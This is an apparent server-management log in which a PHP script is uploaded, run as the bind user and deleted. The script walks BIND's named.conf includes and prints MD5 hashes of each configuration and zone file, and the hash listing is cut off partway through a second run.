MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:41:40: Establishing a connection
2026-04-24 19:41:40: 

PUT: /tmp/pkp421389

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:41:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp421389; rm /tmp/pkp421389'

2026-04-24 19:41:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:44:56: Establishing a connection
2026-04-24 19:44:56: 

PUT: /tmp/pkp556884

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:44:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp556884; rm /tmp/pkp556884'

2026-04-24 19:44:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
